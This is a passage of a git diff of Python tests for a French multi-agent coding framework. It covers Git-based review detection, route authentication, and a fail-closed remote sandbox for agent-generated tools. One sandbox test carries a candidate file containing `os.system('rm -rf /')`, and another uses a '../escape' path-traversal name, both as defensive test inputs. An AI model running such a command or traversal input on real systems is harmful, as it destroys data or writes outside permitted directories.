BM25 optimisé (DF/avg_dl/TF pré-calculés) donne EXACTEMENT le même score que le calcul naïf O(N²) d'origine.""" import math + from memory.rag import RAGEngine rag = RAGEngine.__new__(RAGEngine) diff --git a/tests/test_review_loop_escalation.py b/tests/test_review_loop_escalation.py index cc175cc..93c55df 100644 --- a/tests/test_review_loop_escalation.py +++ b/tests/test_review_loop_escalation.py @@ -8,16 +8,17 @@ - _apply_corrections force le model_tier des tâches correctives quand force_tier est fourni. """ -import sys -import os import asyncio -import pytest +import os +import sys from unittest.mock import patch +import pytest + sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) -from core.state import TaskPayload, StateUpdate, GlobalState from core.review_loop import ReviewLoop +from core.state import GlobalState, StateUpdate, TaskPayload class _StubEngine: diff --git a/tests/test_reviewer_git.py b/tests/test_reviewer_git.py new file mode 100644 index 0000000..bc98b8d --- /dev/null +++ b/tests/test_reviewer_git.py @@ -0,0 +1,116 @@ +import subprocess +from pathlib import Path + +import pytest +from unittest.mock import patch, MagicMock +from agents.reviewer import ReviewerAgent, GitDetectionError +from core.state import TaskPayload +from core.llm_gateway import LLMGateway + + +def _init_repo(path: Path, commits: int = 1, with_remote: bool = False) -> None: + """Construit un vrai dépôt Git temporaire pour tester l'heuristique #T209.""" + def _git(*args): + subprocess.run( + ["git", "-c", "user.email=test@test.local", "-c", "user.name=test", *args], + cwd=path, check=True, + stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, + ) + + _git("init") + for i in range(commits): + (path / f"fichier_{i}.txt").write_text("contenu", encoding="utf-8") + _git("add", "-A") + _git("commit", "-m", f"commit {i}") + if with_remote: + _git("remote", "add", "origin", "https://example.invalid/repo.git") + + +def _make_agent() -> ReviewerAgent: + return ReviewerAgent(llm_gateway=MagicMock(spec=LLMGateway), provider_name="leger") + + +def test_repo_parasite_sans_remote_commit_unique_non_informatif(tmp_path): + """Cas réel du Deck (#T209) : overlay cp -rf, aucun remote, un seul commit.""" + _init_repo(tmp_path, commits=1, with_remote=False) + assert _make_agent()._is_git_repo_informative(str(tmp_path)) is False + + +def test_repo_avec_remote_informatif(tmp_path): + _init_repo(tmp_path, commits=1, with_remote=True) + assert _make_agent()._is_git_repo_informative(str(tmp_path)) is True + + +def test_repo_local_avec_historique_informatif(tmp_path): + _init_repo(tmp_path, commits=2, with_remote=False) + assert _make_agent()._is_git_repo_informative(str(tmp_path)) is True + + +def test_repo_sans_aucun_commit_non_informatif(tmp_path): + _init_repo(tmp_path, commits=0, with_remote=False) + assert _make_agent()._is_git_repo_informative(str(tmp_path)) is False + + +def test_has_modified_files_leve_sur_depot_non_informatif(): + """Un dépôt non informatif dans le workspace doit forcer la revue LLM.""" + agent = _make_agent() + with patch.object(agent, "_is_git_repo_informative", return_value=False): + # [#T276] message agrégé : on n'élève plus « non informatif » par dépôt, + # seulement quand AUCUN dépôt exploitable ne reste. + with pytest.raises(GitDetectionError, match="Aucun dépôt Git informatif"): + agent._has_modified_files() + +@pytest.mark.asyncio +async def test_reviewer_git_detection_error_forces_llm(): + # Arrange + gateway = MagicMock(spec=LLMGateway) + mock_provider = MagicMock() + # Mock de generate_structured_async pour renvoyer une approbation + async def mock_gen(*args, **kwargs): + return { + "code_approved": True, + "severity": "info", + "review_feedback": "Validé par le mock LLM", + "target_corrections": [], + "quality_score": 9.5 + } + mock_provider.generate_structured_async = mock_gen + gateway.get_provider_for_tier.return_value = ("mock-model", mock_provider) + + agent = ReviewerAgent(llm_gateway=gateway, provider_name="leger") + payload = TaskPayload( + task_objective="Test", + relevant_context="code", + metadata={"session_id": "test_session", "model_tier": "leger"} + ) + + # Simuler une détection Git impossible (ex: pas de dépôt) + with patch.object(agent, "_has_modified_files", side_effect=GitDetectionError("Dépôt introuvable")): + with patch('core.llm_gateway.load_config', return_value={}): + update = await agent.invoke(payload) + + # Assert + assert update.status == "success" + assert "Code validé et approuvé par le Reviewer" in update.result_data + # S'assurer que le LLM a bien été appelé (pas d'auto-approbation à 10.0 de court-circuit) + assert update.metadata.get("quality_score") == 9.5 + +@pytest.mark.asyncio +async def test_reviewer_git_no_changes_auto_approves(): + gateway = MagicMock(spec=LLMGateway) + agent = ReviewerAgent(llm_gateway=gateway, provider_name="leger") + payload = TaskPayload( + task_objective="Test", + relevant_context="code", + metadata={"session_id": "test_session", "model_tier": "leger"} + ) + + # Simuler qu'aucun fichier n'est modifié + with patch.object(agent, "_has_modified_files", return_value=False): + with patch('core.llm_gateway.load_config', return_value={}): + update = await agent.invoke(payload) + + # Assert + assert update.status == "success" + assert "Auto-approuvé" in update.result_data + assert update.metadata.get("quality_score") == 10.0 diff --git a/tests/test_router_factory_wiring.py b/tests/test_router_factory_wiring.py index 3f0d3ee..bd321f3 100644 --- a/tests/test_router_factory_wiring.py +++ b/tests/test_router_factory_wiring.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ tests/test_router_factory_wiring.py — Câblage du Router via la factory (P1-2.1). diff --git a/tests/test_runtime_db.py b/tests/test_runtime_db.py index 71ba1be..f32a854 100644 --- a/tests/test_runtime_db.py +++ b/tests/test_runtime_db.py @@ -6,8 +6,8 @@ """ import os -import sys import sqlite3 +import sys # Ajouter le dossier racine du moteur au PATH sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) @@ -34,11 +34,11 @@ def test_get_connection_and_schema(self): from core.runtime_db import get_connection conn = get_connection() assert isinstance(conn, sqlite3.Connection) - + # Récupérer la liste des tables créées cursor = conn.execute("SELECT name FROM sqlite_master WHERE type='table'") tables = {row[0] for row in cursor.fetchall()} - + expected_tables = { "sessions", "quota_snapshots", @@ -54,59 +54,59 @@ def test_get_connection_and_schema(self): "agent_steps", "scoped_memory" } - + for table in expected_tables: assert table in tables, f"La table '{table}' est manquante dans la base unifiée." - + conn.close() def test_db_concurrency_mode(self): """Le mode WAL et le mode synchrone NORMAL sont bien configurés.""" from core.runtime_db import get_connection conn = get_connection() - + # Vérification du mode journal (WAL) journal_mode = conn.execute("PRAGMA journal_mode").fetchone()[0] assert journal_mode.lower() == "wal", f"Attendu mode WAL, reçu : {journal_mode}" - + # Vérification du mode synchrone (NORMAL ou 1) synchronous = conn.execute("PRAGMA synchronous").fetchone()[0] # SQLite retourne 1 pour NORMAL, 2 pour FULL, 0 pour OFF assert synchronous in (1, "NORMAL"), f"Attendu synchro NORMAL (1), reçu : {synchronous}" - + conn.close() def test_write_read_session(self): """On peut écrire et lire des données dans la table sessions sans conflit.""" from core.runtime_db import get_connection conn = get_connection() - + test_session_id = "test_session_12345" test_objective = "Tester la base unifiée" - + # Nettoyage préalable au cas où conn.execute("DELETE FROM sessions WHERE session_id = ?", (test_session_id,)) conn.commit() - + # Écriture conn.execute( "INSERT INTO sessions (session_id, objective, started_at) VALUES (?, ?, ?)", (test_session_id, test_objective, 1234567.89) ) conn.commit() - + # Lecture row = conn.execute( "SELECT objective, started_at FROM sessions WHERE session_id = ?", (test_session_id,) ).fetchone() - + assert row is not None assert row[0] == test_objective assert row[1] == 1234567.89 - + # Nettoyage conn.execute("DELETE FROM sessions WHERE session_id = ?", (test_session_id,)) conn.commit() - + conn.close() diff --git a/tests/test_safe_io.py b/tests/test_safe_io.py index 5534b2d..70420d2 100644 --- a/tests/test_safe_io.py +++ b/tests/test_safe_io.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ tests/test_safe_io.py — Écritures JSON atomiques + verrou (P1-2.3). @@ -10,16 +9,16 @@ reste un JSON valide, jamais tronqué. """ +import glob +import json import os +import subprocess import sys -import json -import glob import threading -import subprocess sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) -from core.safe_io import safe_json_write, file_lock +from core.safe_io import file_lock, safe_json_write def test_write_then_read_roundtrip(tmp_path): @@ -47,7 +46,11 @@ def test_atomic_replace_keeps_valid_json_on_concurrent_threads(tmp_path): def _worker(n): try: for _ in range(20): - safe_json_write(p, {"writer": n, "payload": list(range(50))}) + # Timeout large : sous charge CI, 50 writers × FileLock 10 s + # timeoutaient en Timeout flaky sans remettre en cause l'atomicité. + safe_json_write( + p, {"writer": n, "payload": list(range(50))}, timeout=60, + ) except Exception as e: # pragma: no cover errors.append(e) diff --git a/tests/test_security_auth.py b/tests/test_security_auth.py index 5f13594..e5ca2f1 100644 --- a/tests/test_security_auth.py +++ b/tests/test_security_auth.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ tests/test_security_auth.py — Tests de sécurité de CARACTÉRISATION (item 0.3 du plan de remédiation, cf. docs/plan_remediation_2026-06-18.md). @@ -86,32 +85,50 @@ def walk(dep): return bool(found) +def _websocket_route_has_auth(route) -> bool: + """Détecte require_websocket_auth dans l'arbre de dépendances d'une route WebSocket (récursif).""" + found = [] + + def walk(dep): + call = getattr(dep, "call", None) + if call is not None and getattr(call, "__name__", "") in ("require_websocket_auth", "require_auth"): + found.append(True) + for sub in getattr(dep, "dependencies", []): + walk(sub) + + walk(route.dependant) + return bool(found) + + def _unprotected_sensitive_routes(): + from fastapi.routing import APIRoute, APIWebSocketRoute + from gui_server import app - from fastapi.routing import APIRoute unprotected = [] for r in app.routes: - if not isinstance(r, APIRoute): - continue - if not r.path.startswith("/api"): - continue - if r.path in _PUBLIC_PATHS: - continue - if not _route_has_require_auth(r): - methods = ",".join(sorted(m for m in r.methods if m != "HEAD")) - unprotected.append(f"{methods} {r.path}") + if isinstance(r, APIRoute): + if not r.path.startswith("/api"): + continue + if r.path in _PUBLIC_PATHS: + continue + if not _route_has_require_auth(r): + methods = ",".join(sorted(m for m in r.methods if m != "HEAD")) + unprotected.append(f"{methods} {r.path}") + elif isinstance(r, APIWebSocketRoute): + if not _websocket_route_has_auth(r): + unprotected.append(f"WS {r.path}") return sorted(set(unprotected)) def test_sensitive_api_routes_require_auth(): - """[1.1] Toute route /api sensible doit dépendre de require_auth (fail-closed). + """[1.1] Toute route /api sensible et route /ws doit dépendre de require_auth ou require_websocket_auth (fail-closed). - Garde-fou actif depuis le câblage de require_auth au montage des routers. + Garde-fou actif depuis le câblage de require_auth et require_websocket_auth. """ unprotected = _unprotected_sensitive_routes() assert not unprotected, ( - f"{len(unprotected)} route(s) /api sensibles sans require_auth " + f"{len(unprotected)} route(s) sensible(s) ou WS sans authentification " f"(fail-closed) :\n - " + "\n - ".join(unprotected) ) @@ -123,6 +140,7 @@ def test_protected_route_returns_401_without_token(monkeypatch): effet de bord). On cible une route GET de données. """ from fastapi.testclient import TestClient + from core import auth monkeypatch.setenv("MOTEUR_API_KEY", "test-secret-key-0.3") @@ -146,6 +164,7 @@ def test_query_token_rejected_post_t65(monkeypatch): des tickets éphémères POST /api/auth/ticket → ?ticket=. """ from fastapi.testclient import TestClient + from core import auth monkeypatch.setenv("MOTEUR_API_KEY", "test-secret-key-qp") @@ -211,6 +230,7 @@ def test_no_hardcoded_whatsapp_token(): def test_cors_not_wildcard_with_credentials(): """[1.2] Jamais allow_origins=['*'] ET allow_credentials=True simultanément.""" from starlette.middleware.cors import CORSMiddleware + from gui_server import app for mw in app.user_middleware: diff --git a/tests/test_token_crypto.py b/tests/test_token_crypto.py index edb9999..93737de 100644 --- a/tests/test_token_crypto.py +++ b/tests/test_token_crypto.py @@ -36,7 +36,7 @@ def test_save_without_key_writes_plaintext(tmp_path): token_crypto.save_token_json(path, data) - with open(path, "r", encoding="utf-8") as f: + with open(path, encoding="utf-8") as f: on_disk = json.load(f) assert on_disk == data diff --git a/tests/test_tool_maker.py b/tests/test_tool_maker.py index 334a478..9254722 100644 --- a/tests/test_tool_maker.py +++ b/tests/test_tool_maker.py @@ -8,17 +8,24 @@ - Cycle complet : record_skill → detection → generation → mark_as_generated """ -import os -import sys +import asyncio import json +import os import shutil +import sys import tempfile -import asyncio import unittest +from unittest.mock import patch sys.path.insert(0, os.path.join(os.path.dirname(__file__), "..")) +async def _fake_remote_ok(files, **kwargs): + """[#T207/#T190] Sandbox distante mockée : verdict vert sans appel réseau. + Les fichiers candidats (outil + test) sont ignorés, le verdict est vert.""" + return {"passed": True, "error": None, "run_url": "https://example.invalid/run/1"} + + class TestToolMakerAgent(unittest.TestCase): """Tests unitaires pour agents/tool_maker_agent.py""" @@ -53,7 +60,8 @@ def test_build_tool_code_produces_valid_python(self): self.assertTrue(validation["valid"], f"Code invalide : {validation.get('error')}") def test_save_tool_creates_files(self): - """La sauvegarde doit créer le fichier Python et le plugin.json.""" + """La sauvegarde doit créer le fichier Python, le test minimal (#T190) + et le plugin.json.""" import agents.tool_maker_agent as tm_mod # Rediriger vers un répertoire temporaire original_dir = tm_mod.AUTO_TOOLS_DIR @@ -63,19 +71,33 @@ def test_save_tool_creates_files(self): try: agent = tm_mod.ToolMakerAgent() code = "# Test tool\nclass TestTool:\n pass\n" - path = agent._save_tool("test_save_tool", code) + test_code = ( + "import sys, os\n" + "sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))\n" + "from test_save_tool import TestTool\n" + ) + path = agent._save_tool("test_save_tool", code, test_code) self.assertTrue(os.path.exists(path)) self.assertTrue(path.endswith(".py")) + # [#T190] Le test minimal est écrit à côté de l'outil, à un + # emplacement déterministe : test_.py + test_path = os.path.join(os.path.dirname(path), "test_test_save_tool.py") + self.assertTrue(os.path.exists(test_path)) + with open(test_path, encoding='utf-8') as f: + self.assertEqual(f.read(), test_code) + # Vérifier le plugin.json meta_path = os.path.join(os.path.dirname(path), "plugin.json") self.assertTrue(os.path.exists(meta_path)) - with open(meta_path, 'r', encoding='utf-8') as f: + with open(meta_path, encoding='utf-8') as f: meta = json.load(f) self.assertEqual(meta["name"], "test_save_tool") self.assertTrue(meta["auto_generated"]) + self.assertTrue(meta["test_passed"]) + self.assertEqual(meta["test_entry_point"], "test_test_save_tool.py") finally: tm_mod.AUTO_TOOLS_DIR = original_dir shutil.rmtree(tmp_dir, ignore_errors=True) @@ -95,8 +117,9 @@ def test_invoke_without_sequence_returns_error(self): self.assertIn("Aucune séquence", result.error_message) def test_invoke_generates_tool_with_fallback(self): - """Sans LLM, le fallback doit générer un template fonctionnel et le - persister quand MOTEUR_ENABLE_TOOL_MAKER est actif (P0-1.4).""" + """Sans LLM, le fallback doit générer un template fonctionnel, exécuter + son test minimal (#T190) et persister outil + test quand + MOTEUR_ENABLE_TOOL_MAKER est actif (P0-1.4).""" import agents.tool_maker_agent as tm_mod from core.state import TaskPayload @@ -116,11 +139,34 @@ def test_invoke_generates_tool_with_fallback(self): "objective": "Modifier un fichier YAML", }, ) - result = asyncio.run(agent.invoke(payload)) + # [#T207] La validation d'exécution passe désormais par le runner + # GitHub Actions distant — mocké ici (pas de réseau dans les tests). + with patch("core.toolmaker_sandbox.validate_candidate_remote", _fake_remote_ok): + result = asyncio.run(agent.invoke(payload)) self.assertEqual(result.status, "success") self.assertIn("généré avec succès", result.result_data) self.assertTrue(result.metadata.get("auto_generated")) self.assertTrue(result.metadata.get("persisted")) + self.assertTrue(result.metadata.get("test_passed")) + self.assertIn("Test :", result.result_data) + + # [#T190] Outil + test + plugin.json sont persistés ensemble + saved = os.listdir(tmp_dir) + self.assertEqual(len(saved), 1) + tool_dir = os.path.join(tmp_dir, saved[0]) + files = sorted(os.listdir(tool_dir)) + self.assertEqual( + files, + sorted([f"{saved[0]}.py", f"test_{saved[0]}.py", "plugin.json"]), + ) + # Le test persisté est exécutable seul : import + appel + retour + test_path = os.path.join(tool_dir, f"test_{saved[0]}.py") + with open(test_path, encoding='utf-8') as f: + test_content = f.read() + self.assertIn(f"from {saved[0]} import", test_content) + self.assertIn("asyncio.run(tool.execute(", test_content) + self.assertIn("SANDBOX_OK", test_content) + self.assertIn("assert result is not None", test_content) finally: tm_mod.AUTO_TOOLS_DIR = original_dir os.environ.pop("MOTEUR_ENABLE_TOOL_MAKER", None) @@ -146,7 +192,9 @@ def test_invoke_flag_off_does_not_persist(self): "objective": "Modifier un fichier YAML", }, ) - result = asyncio.run(agent.invoke(payload)) + # [#T207] Sandbox distante mockée (verdict vert, pas de réseau). + with patch("core.toolmaker_sandbox.validate_candidate_remote", _fake_remote_ok): + result = asyncio.run(agent.invoke(payload)) self.assertEqual(result.status, "success") self.assertFalse(result.metadata.get("persisted")) # Rien ne doit avoir été écrit @@ -155,6 +203,38 @@ def test_invoke_flag_off_does_not_persist(self): tm_mod.AUTO_TOOLS_DIR = original_dir shutil.rmtree(tmp_dir, ignore_errors=True) + def test_invoke_sans_pat_rejette_fail_closed(self): + """[#T207] Sans MOTEUR_TOOLMAKER_PAT, la validation distante échoue et + l'outil est rejeté — il n'existe AUCUN repli vers une exécution locale.""" + import agents.tool_maker_agent as tm_mod + from core.state import TaskPayload + + original_dir = tm_mod.AUTO_TOOLS_DIR + tmp_dir = tempfile.mkdtemp() + tm_mod.AUTO_TOOLS_DIR = tmp_dir + os.environ["MOTEUR_ENABLE_TOOL_MAKER"] = "1" + os.environ.pop("MOTEUR_TOOLMAKER_PAT", None) + + try: + agent = tm_mod.ToolMakerAgent(llm_gateway=None) + payload = TaskPayload( + task_objective="Générer un outil", + metadata={ + "skill_pattern": "lire et modifier yaml", + "tools_sequence": ["read_file", "write_file"], + "objective": "Modifier un fichier YAML", + }, + ) + result = asyncio.run(agent.invoke(payload)) + self.assertEqual(result.status, "error") + self.assertIn("sandbox", result.error_message.lower()) + # Rien ne doit avoir été écrit sur disque + self.assertEqual(os.listdir(tmp_dir), []) + finally: + tm_mod.AUTO_TOOLS_DIR = original_dir + os.environ.pop("MOTEUR_ENABLE_TOOL_MAKER", None) + shutil.rmtree(tmp_dir, ignore_errors=True) + def test_invoke_rejects_path_traversal_tool_name(self): """[P0-1.4] Un tool_name malveillant (traversée de chemin) est rejeté, rien n'est écrit hors du répertoire prévu.""" @@ -234,7 +314,7 @@ def test_save_tool_rejects_bad_name(self): from agents.tool_maker_agent import ToolMakerAgent agent = ToolMakerAgent() with self.assertRaises(ValueError): - agent._save_tool("../escape", "x = 1\n") + agent._save_tool("../escape", "x = 1\n", "test\n") class TestSkillStoreToolmaking(unittest.TestCase): diff --git a/tests/test_toolmaker_sandbox.py b/tests/test_toolmaker_sandbox.py new file mode 100644 index 0000000..3f561e0 --- /dev/null +++ b/tests/test_toolmaker_sandbox.py @@ -0,0 +1,175 @@ +""" +tests/test_toolmaker_sandbox.py — Sandbox distante ToolMaker (#T207). + +Aucun appel réseau réel : le client GitHub est un faux injecté via `_client`. +Vérifie le fail-closed sans PAT, le cycle blobs→tree→commit→ref (multi- +fichiers : outil + test minimal [#T190]), les deux verdicts du runner, le +timeout et le nettoyage de la branche éphémère. +""" + +import pytest + +from core.toolmaker_sandbox import CANDIDATE_DIR, validate_candidate_remote + + +class _FakeResponse: + def __init__(self, data=None, status_code=200): + self._data = data or {} + self.status_code = status_code + + def json(self): + return self._data + + def raise_for_status(self): + if self.status_code >= 400: + raise RuntimeError(f"HTTP {self.status_code}") + + +class _FakeGitHub: + """Faux client httpx simulant l'API GitHub (Git Data + Actions).""" + + def __init__(self, run_conclusion="success", polls_before_run=0): + self.calls = [] + self.blob_contents = [] + self.tree_paths = [] + self.created_branch = None + self.deleted_refs = [] + self.run_conclusion = run_conclusion + # Nombre de polls Actions renvoyant une liste vide avant le vrai run + self.polls_before_run = polls_before_run + + async def request(self, method, url, **kwargs): + self.calls.append((method, url)) + body = kwargs.get("json") or {} + + if method == "GET" and url.endswith("/repos/o/r"): + return _FakeResponse({"default_branch": "master"}) + if method == "GET" and "/git/ref/heads/master" in url: + return _FakeResponse({"object": {"sha": "base-sha"}}) + if method == "GET" and "/git/commits/base-sha" in url: + return _FakeResponse({"tree": {"sha": "tree-0"}}) + if method == "POST" and url.endswith("/git/blobs"): + self.blob_contents.append(body.get("content")) + return _FakeResponse({"sha": f"blob-{len(self.blob_contents)}"}, 201) + if method == "POST" and url.endswith("/git/trees"): + self.tree_paths = [e["path"] for e in body.get("tree", [])] + return _FakeResponse({"sha": "tree-1"}, 201) + if method == "POST" and url.endswith("/git/commits"): + return _FakeResponse({"sha": "commit-1"}, 201) + if method == "POST" and url.endswith("/git/refs"): + self.created_branch = body.get("ref") + return _FakeResponse({"ref": body.get("ref")}, 201) + if method == "GET" and "/actions/runs" in url: + if self.polls_before_run > 0: + self.polls_before_run -= 1 + return _FakeResponse({"workflow_runs": []}) + if self.run_conclusion is None: + return _FakeResponse({"workflow_runs": []}) + return _FakeResponse({ + "workflow_runs": [{ + "status": "completed", + "conclusion": self.run_conclusion, + "html_url": "https://github.com/o/r/actions/runs/1", + }] + }) + if method == "DELETE" and "/git/refs/heads/" in url: + self.deleted_refs.append(url) + return _FakeResponse({}, 204) + + raise AssertionError(f"Appel inattendu : {method} {url}") + + +@pytest.fixture +def _env(monkeypatch): + monkeypatch.setenv("MOTEUR_TOOLMAKER_PAT", "pat-test") + monkeypatch.setenv("MOTEUR_TOOLMAKER_REPO", "o/r") + + +@pytest.mark.asyncio +async def test_fail_closed_sans_pat(monkeypatch): + """Sans PAT dédié : rejet immédiat, aucun repli local, aucun appel réseau.""" + monkeypatch.delenv("MOTEUR_TOOLMAKER_PAT", raising=False) + fake = _FakeGitHub() + result = await validate_candidate_remote( + files={"outil.py": "print('x')", "test_outil.py": "print('SANDBOX_OK')"}, + _client=fake, + ) + assert result["passed"] is False + assert "MOTEUR_TOOLMAKER_PAT" in result["error"] + assert fake.calls == [] + + +@pytest.mark.asyncio +async def test_aucun_fichier_rejete(_env): + """files vide : rejet explicite, aucun appel réseau (fail-closed).""" + fake = _FakeGitHub() + result = await validate_candidate_remote(files={}, _client=fake) + assert result["passed"] is False + assert "Aucun fichier" in result["error"] + assert fake.calls == [] + + +@pytest.mark.asyncio +async def test_verdict_succes_et_nettoyage(_env): + """Run vert : passed=True, run_url renseignée, branche éphémère supprimée.""" + fake = _FakeGitHub(run_conclusion="success", polls_before_run=1) + result = await validate_candidate_remote( + files={ + "outil.py": "print('SANDBOX_OK')", + "test_outil.py": "print('SANDBOX_OK')", + }, + poll_interval_s=0.01, + _client=fake, + ) + assert result["passed"] is True + assert result["run_url"] is not None + # [#T190] L'outil ET son test sont poussés au chemin attendu par le workflow + assert fake.blob_contents == ["print('SANDBOX_OK')", "print('SANDBOX_OK')"] + assert fake.tree_paths == [ + f"{CANDIDATE_DIR}/outil.py", + f"{CANDIDATE_DIR}/test_outil.py", + ] + assert fake.created_branch.startswith("refs/heads/toolmaker/validate-") + assert len(fake.deleted_refs) == 1 + + +@pytest.mark.asyncio +async def test_verdict_echec(_env): + """Run rouge : passed=False avec la conclusion, branche supprimée quand même.""" + fake = _FakeGitHub(run_conclusion="failure") + result = await validate_candidate_remote( + files={"outil.py": "import os; os.system('rm -rf /')"}, + poll_interval_s=0.01, + _client=fake, + ) + assert result["passed"] is False + assert "failure" in result["error"] + assert len(fake.deleted_refs) == 1 + + +@pytest.mark.asyncio +async def test_timeout_verdict(_env): + """Aucun run visible avant le délai : rejet explicite, branche supprimée.""" + fake = _FakeGitHub(run_conclusion=None) + result = await validate_candidate_remote( + files={"outil.py": "print('x')"}, + timeout_s=0.05, + poll_interval_s=0.01, + _client=fake, + ) + assert result["passed"] is False + assert "Timeout" in result["error"] + assert len(fake.deleted_refs) == 1 + + +@pytest.mark.asyncio +async def test_erreur_api_fail_closed(_env): + """Une erreur API GitHub (ex: 401) = rejet, jamais d'exécution locale.""" + + class _Broken(_FakeGitHub): + async def request(self, method, url, **kwargs): + return _FakeResponse({}, status_code=401) + + result = await validate_candidate_remote(files={"outil.py": "print('x')"}, _client=_Broken()) + assert result["passed"] is False + assert "Erreur API GitHub" in result["error"] diff --git a/tests/test_v9_improvements.py b/tests/test_v9_improvements.py index 8150e47..58dfd5c 100644 --- a/tests/test_v9_improvements.py +++ b/tests/test_v9_improvements.py @@ -1,6 +1,6 @@ +import logging import os import sys -import logging logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(name)s - %(message)s") logger = logging.getLogger("test_v9") @@ -8,9 +8,10 @@ # S'assurer d'être dans le bon path sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) -from core.llm_gateway import LLMGateway, LLMProvider, ClaudeInstructionsWrapper +from core.llm_gateway import ClaudeInstructionsWrapper, LLMGateway, LLMProvider from memory.context_manager import ContextManager + class FakeBaseProvider(LLMProvider): def __init__(self): self.last_system_prompt = None @@ -28,11 +29,11 @@ def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict def test_claude_instructions_wrapper(): print("\n--- TEST 1 : CLAUDE_INSTRUCTIONS_WRAPPER ---") - + # Créer un fichier de test temporaire CLAUDE.md local temp_claude_path = "CLAUDE.md" temp_created = False - + if not os.path.exists(temp_claude_path): with open(temp_claude_path, "w", encoding="utf-8") as f: f.write("# Rules\n- Use pytest\n- Comments in French") @@ -42,17 +43,26 @@ def test_claude_instructions_wrapper(): try: base_provider = FakeBaseProvider() wrapped = ClaudeInstructionsWrapper(base_provider) - - # Lancer un appel + + # [T287] LE CONTRAT A CHANGÉ, ce test le suit volontairement. + # L'injection était inconditionnelle : tout appel de tout provider partait + # avec 5056 caractères de CLAUDE.md, chat et vocal compris. Elle est + # désormais réservée aux agents de code, qui la demandent explicitement. wrapped.generate("Prompt Système Original", "Prompt Utilisateur") - + assert base_provider.last_system_prompt == "Prompt Système Original", ( + "sans demande explicite, aucune convention ne doit être injectée" + ) + + # Lancer un appel d'agent de code + wrapped.generate("Prompt Système Original", "Prompt Utilisateur", conventions_projet=True) + print(f"System Prompt après wrapping:\n{base_provider.last_system_prompt}") - + assert "Prompt Système Original" in base_provider.last_system_prompt assert "CONVENTIONS DE PROJET (CLAUDE.md)" in base_provider.last_system_prompt assert "VM Freebox" in base_provider.last_system_prompt or "Use pytest" in base_provider.last_system_prompt print("✅ Test ClaudeInstructionsWrapper réussi.") - + finally: # Nettoyer uniquement si on l'a créé if temp_created and os.path.exists(temp_claude_path): @@ -63,7 +73,7 @@ def test_context_manager_clean(): print("\n--- TEST 2 : PRE-NETTOYAGE DES LOGS ---") gateway = LLMGateway() mgr = ContextManager(gateway) - + raw_logs = ( "Log entry 1\n" "Log entry 2\n\n\n\n" # trop de lignes vides @@ -71,10 +81,10 @@ def test_context_manager_clean(): "Log entry 2\n" # doublon consécutif "Log entry 3\n" ) - + cleaned = mgr.clean_raw_data(raw_logs) print(f"Logs nettoyés :\n{cleaned}") - + # Devrait avoir réduit les sauts de lignes et supprimé les doublons lines = cleaned.splitlines() assert lines.count("Log entry 2") == 1, "Les doublons consécutifs n'ont pas été supprimés." diff --git a/tests/test_visual_qa.py b/tests/test_visual_qa.py index 2e86d60..5953936 100644 --- a/tests/test_visual_qa.py +++ b/tests/test_visual_qa.py @@ -75,6 +75,7 @@ def test_analyze_lvgl_code_extracts_fonts(self): def test_capture_screenshot_returns_none_when_no_chrome(self): """Sans Chrome sur le port 9222, la capture doit retourner None.""" import asyncio + from core.visual_qa import VisualQAService service = VisualQAService() @@ -87,6 +88,7 @@ def test_capture_screenshot_returns_none_when_no_chrome(self): def test_capture_and_analyze_fails_gracefully(self): """Sans Puppeteer, capture_and_analyze doit retourner un résultat d'erreur.""" import asyncio + from core.visual_qa import VisualQAService service = VisualQAService() @@ -110,7 +112,7 @@ def test_ui_keywords_detection(self): "html", "css", "frontend", "bouton", "button", "formulaire", "form", "onglet", "tab", "modal", ] - + # Vérifier que chaque mot-clé est bien dans la liste test_objectives = [ "Créer une interface utilisateur pour la config", @@ -119,7 +121,7 @@ def test_ui_keywords_detection(self): "Créer un onglet pour les paramètres", "Ajouter un formulaire de contact", ] - + for obj in test_objectives: obj_lower = obj.lower() found = any(kw in obj_lower for kw in ui_keywords) diff --git a/tests/test_watchdog_mqtt.py b/tests/test_watchdog_mqtt.py new file mode 100644 index 0000000..0ee6615 --- /dev/null +++ b/tests/test_watchdog_mqtt.py @@ -0,0 +1,220 @@ +""" +tests/test_watchdog_mqtt.py — Watchdog MQTT : compatibilité paho 2.x +══════════════════════════════════════════════════════════════════════════════ + +Comble l'angle mort relevé à la PR #169 (bump paho-mqtt 1.6 → 2.1) : la CI +n'exerçait aucun chemin MQTT du watchdog, donc ni le passage à l'API de +callbacks v2, ni la supervision de reconnexion n'étaient couverts. + +Trois défauts sont verrouillés ici : + 1. client paho construit en API v1 (déprécié, supprimé en paho 3.0) + 2. callbacks aux signatures v1 (l'API v2 passe 5 arguments → TypeError) + 3. `_connected` jamais positionné → superviseur bloqué, reconnexion morte +""" + +import asyncio +import warnings + +import pytest + +from core.watchdog import WatchdogConfig, WatchdogDaemon + +paho_client = pytest.importorskip("paho.mqtt.client") + + +TOPICS = ("homeassistant/status", "zigbee2mqtt/bridge/state") + + +def _daemon() -> WatchdogDaemon: + daemon = WatchdogDaemon(WatchdogConfig(topics=TOPICS, mqtt_client_id="test-watchdog")) + daemon._loop = asyncio.get_running_loop() + return daemon + + +def _reason_code(identifier: int): + from paho.mqtt.reasoncodes import ReasonCode + return ReasonCode(paho_client.CONNACK >> 4, identifier=identifier) + + +class _ClientEspion: + """Capture les souscriptions demandées par le callback de connexion.""" + + def __init__(self): + self.souscriptions = [] + + def subscribe(self, topic, qos=0): + self.souscriptions.append((topic, qos)) + return (0, len(self.souscriptions)) + + +def test_paho_2x_installe(): + """requirements.txt impose paho-mqtt>=2.1 : l'API v2 doit être disponible.""" + assert hasattr(paho_client, "CallbackAPIVersion"), ( + "paho-mqtt < 2.0 détecté — le watchdog utilise l'API de callbacks v2. " + "Mettre l'environnement à jour : pip install -r requirements.txt" + ) + + +async def test_on_connect_souscrit_puis_debloque_le_superviseur(): + """Régression : les souscriptions ne doivent pas court-circuiter `_connected.set()`. + + L'ancienne écriture `[subscribe(...) for t in topics] or set()` ne posait + jamais l'événement (une liste non vide est vraie), donc `_supervisor` + restait bloqué sur 